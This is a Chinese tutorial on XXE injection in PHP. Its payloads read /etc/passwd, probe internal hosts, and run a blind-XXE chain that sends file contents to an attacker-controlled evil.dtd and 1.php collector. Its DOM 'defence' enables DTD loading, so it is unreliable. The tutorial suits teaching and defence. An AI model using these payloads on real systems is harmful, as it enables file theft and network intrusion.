XXE Injection
XML ENTITY
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
<!DOCTYPE 根元素 [元素声明]>
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD实体ENTITY,一般分为参数实体和内部实体;参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀;内部实体是指用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用;
<!ENTITY 实体名称 "实体的值">
<!ENTITY 实体名称 SYSTEM "URI">
所以在XML中实体的用法如下:
ENTITY的定义语法:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
//这一坨就是DTD了
定义好的ENTITY在文档中通过“&实体名;”来使用。
类似于宏定义的一种东西。
造成XXE的原因主要是php中的一个函数。
php中有xml_parse
和simplexml_load_*
,用于处理XML,而simplexml_load
默认情况下会解析外部实体,这也就是问题的关键。(php5.5.12和5.6以上都不会自动解析,php5.4.4可以)
XXE Injection
首先一个简单的例子:
<?php
$a=<<<XML
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
XML;
$data=simplexml_load_string($a);
print_r($data);
?>
这里就通过了ENTITY
引入了外部实体,得到这样的结果:
这里通过file://
协议引入了外部实体
还有一些可用的其他协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
还有很多思路:
$a=<<<XML
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.96.1">
]>
<x>&xxe;</x>
XML;
$data=simplexml_load_string($a);
print_r($data);
通过上面可以用来内网探测,如果安装了expect扩展组件甚至可以用来进行内网渗透。
还有如下用法:
内部实体的这支持与否也是取决于解释器的。不同的浏览器不一样,不通语言默认也不一样。所以利用比较困难。
但实际上XML外部实体的解析,和php版本并无关系,而是和编译时的libxml库版本有关。
Blind XXE(实测失败!应该和php版本或是libxml版本有关,不过是个好思路)
服务器上:
<?php
$xml=<<<EOF
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % remote SYSTEM "http://192.168.161.1/xxe/evil.dtd">
%remote;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
自己的机器上
[1.php]
<?php
file_put_contents("1.txt", $_GET['file']) ;
?>
[evil.dtd]
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.161.1/xxe/1.php?file=%file;'>"
>
%all;
防御
1、例如php可以提前加上:
<?php libxml_disable_entity_loader(true); ?>
2、检查所使用的底层xml解析库,默认禁止外部实体的解析
3、对于XMLReader和DOM方式解析
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>